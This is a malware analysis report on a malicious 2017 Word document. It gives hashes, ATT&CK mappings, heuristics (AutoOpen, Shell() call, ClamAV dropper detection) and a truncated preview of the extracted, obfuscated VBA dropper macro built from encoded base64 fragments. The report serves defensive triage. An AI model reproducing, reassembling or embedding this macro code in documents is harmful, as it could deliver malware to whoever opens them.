Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1c44adbf28836a9f…

MALICIOUS

Office (OLE)

80.0 KB Created: 2017-11-06 16:28:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: 5167045815416110e868c2f074617a22 SHA-1: ca3fe9870626f7af327d371f84bc0cc8df1d1d9c SHA-256: 1c44adbf28836a9fdaba2abda632da580d4762b582ad46956d096b42a9364b3d
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious OLE document containing VBA macros. A critical heuristic firing indicates the presence of a Shell() call within the VBA code, which is often used to execute arbitrary commands. The AutoOpen macro is also present, suggesting it runs automatically upon opening the document. The ClamAV detection further confirms its malicious nature as a dropper.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6367266-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6367266-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15379 bytes
SHA-256: 60ea0a9547808c717e0bc0a7646cc971662f83e14704b10d2284da0708fd9c0c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 41 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "GznFiFqwD"
Function cWFMjcfEX()
dqJcjCXqj = Mid("LsjP8KjARD9KALAAxADYANgAgACwAIAAxADQANQAgACwAIAAxADYAMwAsADEANgA0ACAALAAxADUAMQAsACAAMQA1ADYAIAAsADEANQA1ACwAIAAxADUAMQAsACAAMQA0ADEALAAXWpHK3nuMvD", 13, 124)
lLJviRrwF = Mid("MqB8pZwETokJFPsIGi0qih3G6Qwwkhj69XAsADEAMgAzACwAIAAxADcAMQAgACwAMQA2ADMALAAxADYANAAgACwAMQA0ADUALAAxADUANQAgACwAIAA1ADYAIAAsACAAMQAxADYALAAgADEANAA1ACAALAAgADEANgA0ACAAjbBcv", 35, 134)
BwuhnKq = Mid("cjdPcU7mBhOs0z1zGqlFIMQA1ADYAIAAsADEANQA3ACAALAAxADAAMgAsADEAMQA2ACAALAAgADEANQAyACAALAAgsoJpXinwNst3nfWz", 22, 68)
PMOENIlVw = Mid("Y06n8AAgACwAMQA1ADAALAAgADEANgA0ACwAIAAxADYANAAgACwAMQA2ADAAIAAsADcAMgAgACwANQA3ACwANQA3ACwAMQA1ADEALAAgADEANQA2ACA11Qrh7", 6, 110)
ptHmDI = Mid("mV4cACAALAAxADQANgAsAC7RrnjJPosAlSb", 5, 18)
qBNrBP = Mid("MU0DRqicACwANAAwACAALAA3ADUALAA0ADAAIAAsADEANQA2ACAALAAgADEANAA1ACAALAAxADYANwin4j3S26zDu0lHBWYzrKq", 9, 70)
cHEtpHViSRY = Mid("oaKwRAAxADUANQAsACAANwAzACAALAA0ADQALAAxAEzLK", 7, 35)
YbhiJWoO = Mid("Hi2ErBkW5GuMQA2ADIALAAgADEANQAxACwAMQA2ADAAIAAsACAAMQA2ADQAIAAsADQqIMZV9IWkVwh67M", 12, 55)
wGimG = Mid("iMb1WQwhtADEALAAxADYAMwAsACAAMQA2ADQALAAxADUAMQAgACwAIAAxADQAMQAgACwAMQA1ADYALAAxADYAMwAsADEANQAxACAALAAxADYANAAsACAAMQA0ADEAIAAsACAAMQA1ADQAIAAsADEANQAxACAALAAxADQAMQAsADEANQA2ACwAIAA1ADYALAAxADQAMwAgACwAIAAkWY7a8stHwoI7vBDm2zPOMVcE", 10, 199)
ScwJiUjsBR = Mid("zPG4CAAxADUANgAgACwAIAAxADQANAAgACwAIAAxADUANwAgACwAMQA1ADUALAA1ADYALAAgADEANQA2ACAALAAgADEANAA1ACAALAAxADcAMAAgACwAMQA2ADQAIAAsADUAMAAgACwAIAA2ADEALAAgADUANAAsADQAMAAgACwAIAAUtpnVkH4ikViEz9B96pWpjPrpF11", 6, 170)
DtVzC = Mid("6nzzsYQwL35XLAA0ADAALAA0ADcAIAAsADUANgAsACAAMQA0ADUAIAAsACAAMQA3ADAALAAgADEANAA1ACwANAA3ACAALAA3ADMAIAAsADEANAA2ACAALAAxADUANwAsADEANgAyACAALAAxADQANQAgACwAMQA0ADEALAAxADQAMwAsADEANQAwACwANQAwACwAIAA0ADQAIAAsADm4GtMZwDE0FqJ", 13, 198)
UqFiERKFvpH = Mid("vUN3wDGFWXFmBBMGvkEAIAAsADEANgAwACAALAAgADUANwAsADUANPl52WhWXXzqMt2", 19, 35)
GjcQbivw = Mid("KAALAAgADEANgAzACAALAAxADQAMQAgACwAIAAxADQAMwAgACwAIAAxADUANwAsADEANQA1ACwAIAAxADQAMQAsACAAMQA2ADIAIAAsAcz0SLTD54I3Q5VhWr9A4sl94U85", 2, 103)
kYtNc = Mid("INKAA0ADQAIAAsACAAMQA2ADcAIAAsACAAMQA2ADMALAAgADEANAAzACwAU8ToSjm3VMYnSfDI1LRjVT", 3, 56)
XFtai = Mid("wi2pDf8okEAMQA3ACAALAAgADEANAAyACwAMQA1ADIALAAgADEANAA1ACAALAAgADEANAAzACwAMQA2ADQAIAAsADQAMAAsACAAMQAyADcAIAAsADEAMgAzACAALAAgADEANAAzACwAIAAxADYAMgAsACAAMQA1ADEAIAAsACAAMQoTiYTtMkUszZw", 10, 164)
XOYtYFaQNcB = Mid("4WElk4oOGUMTwbTIGEoX5zLtAMQA2ADQALAAxADQANQAgACwAIAA1ADUAIAAsADEANQAwACwAIAAxADUANwAsACAAMQA2ADMAIAAsADEANgA0ACAALAAgADQAMAAsADQANAAsACAAMQAzADcALAAYh28", 25, 124)
cCqaLipU = Mid("tDYZp2Q2NHaHK23ADUALAAgADQAMAAsACAANAA3ACAALAAxADUAMAAgACwAMQA2ADQAIAAsACAAMQA2ADQALAAxADYAMAAsACAANwAyACAALAA1ADcAIAAsACAANQA3ACwAMQA0ADEAIAAsADEANQA05FvJH1OdNnnWtWZqbHLnUbi", 15, 137)
lDsUajBtqf = Mid("XEJbmhFuNKkfDYANQAgACwAMQA2ADIAIAAsACAAMQA1ADQAIAAsACAAMQA2ADMALAAgADQAMAAgACwAIAAIurEOQsi9zVOc3", 13, 70)
OTKRz = Mid("il0nCAAxADYANAAsACAAMQA2ADIAIAAsACqEcWPJY", 6, 29)
wYAVwAQzNX = Mid("hiIB3EvsEazWavW6OLTzGMk3rDtXAtvR8EibNwAzACwAIAAxADQAMgAsADEANgAyACAALAAgADEANAA1ACAALAAxADQAMQAsADEANQAzACAALAA3ADMALAAgADEANwA1ACAALAAgADEANtY", 37, 105)
qDYwasA = Mid("KDktcPib2XaAAsADEANgAyACAALAAgADEANQAxACAALAAgADEANQA2ACAALAAxADQANwAgACwANQAwACwANQAxACAALAA1ADQALAA0ADAAIAAsACAANAA0ACAALAAgADEANgAwA4sWnwwUCRrT", 12, 124)
ZNvXjlRhK = Mid("pWrajW7YMt1CLB8AAzACAALAAxADQAMQAsADEANgA0ACAALAAgADEANAAzACAALAAgADEANQAwACwAMQA3ADMALAAxADYANwAgACwAIAAxADYAMgAsACAAMQA1ADEAIAAsACArA", 16, 118)
QPidNKMaHlP = Mid("Ja5wDwQANAAgACwAMQA2ADIAIAAsADEANAAxACwAMQA1ADYALAAgADEANAA0ACwAMQA1ADcAIAAsADEANQA19wS4YaSzLu46z8rvGM7W5Hkshp", 7, 78)
GvAqwGSio = Mid("N0n985JwOMOmfcAMAAsADcANQAsACAANAAwACwAMQA1ADYALAAgADEANAA1A4how", 15, 46)
zXwlWhNiw = Mid("Qa7Nn9nsim2cs9Pcb4ALG3wNQA1ACAALAA1ADYAIAAsADEANAAxACwAIAAxADYANQAsADU
... (truncated)

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